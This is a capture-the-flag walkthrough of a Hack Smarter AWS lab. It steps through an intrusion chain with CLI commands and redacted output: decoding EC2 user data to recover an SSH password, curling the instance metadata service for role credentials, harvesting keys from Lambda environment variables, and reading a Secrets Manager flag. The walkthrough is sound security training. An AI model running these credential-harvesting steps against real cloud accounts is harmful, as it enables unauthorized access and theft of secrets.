Skip to content

Data Secrets Walkthrough

Lab Name: Data Secrets
Difficulty: Medium
Author: Tyler Ramsbey
Lab Link: Hack Smarter

In this Hack Smarter AWS lab, the client wants to know whether an attacker can access their Secrets Manager data.

We start with the supplied credentials and need to move laterally and escalate privileges to reach AWS Secrets Manager, where the final flag is stored.


Output
start_user_access_key = AKIA****************
start_user_secret_key = [REDACTED]
Terminal window
aws configure --profile data_secrets
Output
AWS Access Key ID [None]: AKIA****************
AWS Secret Access Key [None]: [REDACTED]
Default region name [None]: us-east-1
Default output format [None]: json

We first check whether the supplied credentials work.

Terminal window
aws sts get-caller-identity --profile data_secrets
Output
{
"UserId": "AIDA****************",
"Account": "XXXXXXXXXXXX",
"Arn": "arn:aws:iam::XXXXXXXXXXXX:user/cg-start-user-cgidqocsjzvt7u"
}
  • The credentials work, so we can start enumerating AWS services.

After enumerating several services, I found an EC2 instance we could access.

Terminal window
aws ec2 describe-instances --profile data_secrets
Output
{
"Reservations": [
{
"ReservationId": "r-****************",
"OwnerId": "XXXXXXXXXXXX",
"Groups": [],
"Instances": [
{
"Architecture": "x86_64",
"BlockDeviceMappings": [
{
"DeviceName": "/dev/xvda",
"Ebs": {
"AttachTime": "2026-03-29T16:07:14+00:00",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "vol-****************"
}
}
],
"IamInstanceProfile": {
"Arn": "arn:aws:iam::XXXXXXXXXXXX:instance-profile/cg-ec2-instance-profile-cgidqocsjzvt7u",
"Id": "AIPA****************"
},
"NetworkInterfaces": [
{
"Association": {
"IpOwnerId": "amazon",
"PublicDnsName": "",
"PublicIp": "XX.XXX.XXX.XXX"
},
"PrivateIpAddress": "10.0.1.42"
}
],
"Tags": [
{
"Key": "Name",
"Value": "cg-sensitive-ec2-cgidqocsjzvt7u"
},
{
"Key": "Scenario",
"Value": "scenario_template"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
],
"MetadataOptions": {
"State": "applied",
"HttpTokens": "optional",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "enabled",
"InstanceMetadataTags": "disabled"
},
"InstanceId": "i-****************",
"ImageId": "ami-****************",
"State": {
"Code": 16,
"Name": "running"
},
"PublicIpAddress": "XX.XXX.XXX.XXX"
}
]
}
]
}

EC2 findings:

  • IMDSv1 requests are allowed; assess whether a shell or a server-side request path can reach metadata.
  • InstanceMetadataTags is disabled. Tag exposure is independent of requiring IMDSv2 tokens.
  • Public IP: XX.XXX.XXX.XXX
  • Instance ID: i-****************

Terminal window
rustscan -a XX.XXX.XXX.XXX
Output
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
Open XX.XXX.XXX.XXX:22
  • SSH is open. We can keep looking for credentials.
Terminal window
aws ec2 describe-instance-attribute --instance-id i-**************** --attribute userData --profile data_secrets
Output
{
"InstanceId": "i-****************",
"UserData": {
"Value": "IyEvYmluL2Jhc2gKZWNobyAiZWMyLXVzZXI6Q2xvdWRHb2F0SW5zdGFuY2VQYXNzd29yZCEiIHwgY2hwYXNzd2QKc2VkIC1pICdzL1Bhc3N3b3JkQXV0aGVudGljYXRpb24gbm8vUGFzc3dvcmRBdXRoZW50aWNhdGlvbiB5ZXMvZycgL2V0Yy9zc2gvc3NoZF9jb25maWcKc2VydmljZSBzc2hkIHJlc3RhcnQK"
}
}

It’s a base64-encoded script. Let’s decode it to see what it contains.

image.png

Output
#!/bin/bash
echo "ec2-user:[REDACTED]" | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart
  • The script sets the ec2-user password and enables password authentication. We have SSH credentials!

image.png

  • We have our initial foothold and can continue enumeration.

3. Instance Metadata Service (IMDS) Exploitation

Section titled “3. Instance Metadata Service (IMDS) Exploitation”

These requests run from the SSH session on the instance. IMDSv2’s token exchange is available to code on that host too; requiring it does not prevent a compromised workload from using its own role. Limit that role’s permissions and investigate the SSH foothold as well as metadata access. See AWS’s IMDS documentation.

Terminal window
[ec2-user@ip-10-0-1-42 ~]$ aws sts get-caller-identity
Output
{
"Account": "XXXXXXXXXXXX",
"UserId": "AROA****************:i-****************",
"Arn": "arn:aws:sts::XXXXXXXXXXXX:assumed-role/cg-ec2-role-cgidqocsjzvt7u/i-****************"
}

We check our identity and find the role cg-ec2-role-cgidqocsjzvt7u.

IMDSv1 is enabled, so we request the role credentials from our SSH session.

Terminal window
[ec2-user@ip-10-0-1-42 ~]$ curl http://169.254.169.254/latest/meta-data/
Output
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
services/
  • The metadata service is accessible. Let’s grab the IAM role credentials.
Terminal window
[ec2-user@ip-10-0-1-42 ~]$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgidqocsjzvt7u
Output
{
"Code" : "Success",
"LastUpdated" : "2026-03-29T16:52:58Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA****************",
"SecretAccessKey" : "[REDACTED]",
"Token" : "[REDACTED]",
"Expiration" : "2026-03-29T23:04:26Z"
}
  • We extracted temporary credentials for the EC2 role.

Terminal window
aws configure --profile cg-ec2
Configuration example (redacted)
AWS Access Key ID [None]: ASIA****************
AWS Secret Access Key [None]: [REDACTED]
Default region name [None]: us-east-1
Default output format [None]: json

Add the session token under [cg-ec2] in ~/.aws/credentials; AWS CLI configuration does not prompt for it:

[cg-ec2]
aws_access_key_id = REDACTED_TEMP_ACCESS_KEY
aws_secret_access_key = REDACTED_TEMP_SECRET_KEY
aws_session_token = REDACTED_SESSION_TOKEN
Terminal window
aws sts get-caller-identity --profile cg-ec2
Output
{
"UserId": "AROA****************:i-****************",
"Account": "XXXXXXXXXXXX",
"Arn": "arn:aws:sts::XXXXXXXXXXXX:assumed-role/cg-ec2-role-cgidqocsjzvt7u/i-****************"
}
  • The credentials work. We can enumerate further.

While listing Lambda functions, we find credentials for a database user.

Terminal window
aws lambda list-functions --region us-east-1 --profile cg-ec2
Output
{
"Functions": [
{
"FunctionName": "cg-lambda-function-cgidqocsjzvt7u",
"FunctionArn": "arn:aws:lambda:us-east-1:XXXXXXXXXXXX:function:cg-lambda-function-cgidqocsjzvt7u",
"Runtime": "python3.9",
"Role": "arn:aws:iam::XXXXXXXXXXXX:role/cg-lambda-exec-role-cgidqocsjzvt7u",
"Handler": "lambda_function.lambda_handler",
"Environment": {
"Variables": {
"DB_USER_ACCESS_KEY": "AKIA****************",
"DB_USER_SECRET_KEY": "[REDACTED]"
}
},
"LastModified": "2026-03-29T16:07:09.070+0000"
}
]
}
  • We found another user’s credentials in the function’s environment variables.

5. Privilege Escalation to Secrets Manager

Section titled “5. Privilege Escalation to Secrets Manager”
Terminal window
aws configure --profile db-user
Output
AWS Access Key ID [None]: AKIA****************
AWS Secret Access Key [None]: [REDACTED]
Default region name [None]: us-east-1
Default output format [None]: json
Terminal window
aws sts get-caller-identity --profile db-user
Output
{
"UserId": "AIDA****************",
"Account": "XXXXXXXXXXXX",
"Arn": "arn:aws:iam::XXXXXXXXXXXX:user/cg-lambda-user-cgidqocsjzvt7u"
}
  • We have access as this user and can check Secrets Manager.

We try accessing Secrets Manager as this user.

Terminal window
aws secretsmanager list-secrets --profile db-user
Output
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:XXXXXXXXXXXX:secret:cg-final-flag-cgidqocsjzvt7u-******",
"Name": "cg-final-flag-cgidqocsjzvt7u",
"Description": "The final flag for the CloudGoat scenario",
"LastChangedDate": "2026-03-29T21:37:00.622000+05:30",
"LastAccessedDate": "2026-03-29T05:30:00+05:30",
"Tags": [
{
"Key": "Scenario",
"Value": "scenario_template"
},
{
"Key": "Stack",
"Value": "CloudGoat"
},
{
"Key": "Name",
"Value": "cg-final-flag-cgidqocsjzvt7u"
}
],
"SecretVersionsToStages": {
"terraform-********************": [
"AWSCURRENT"
]
},
"CreatedDate": "2026-03-29T21:37:00.349000+05:30"
}
]
}
  • Found the secret-id: cg-final-flag-cgidqocsjzvt7u
Terminal window
aws secretsmanager get-secret-value --secret-id cg-final-flag-cgidqocsjzvt7u --profile db-user
Output
{
"ARN": "arn:aws:secretsmanager:us-east-1:XXXXXXXXXXXX:secret:cg-final-flag-cgidqocsjzvt7u-******",
"Name": "cg-final-flag-cgidqocsjzvt7u",
"VersionId": "terraform-********************",
"SecretString": "{\"flag\":\"<REDACTED>\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2026-03-29T21:37:00.618000+05:30"
}
  • We found and submitted the flag!

  • Started with compromised IAM user credentials (cg-start-user) with EC2 describe permissions
  • Enumerated EC2 instances and found a publicly accessible instance with IMDSv1 enabled
  • Retrieved EC2 user data containing plaintext SSH credentials for ec2-user
  • Gained SSH access to the EC2 instance
  • Used the SSH foothold to query instance metadata and retrieve temporary IAM role credentials. This is a local metadata read, not an SSRF exploit.
  • Used EC2 role credentials to enumerate AWS Lambda functions
  • Discovered hardcoded database user credentials in Lambda function environment variables
  • Used database user credentials to access AWS Secrets Manager
  • Retrieved the final flag from Secrets Manager

Thank you to Hack Smarter Labs for creating this educational AWS security lab.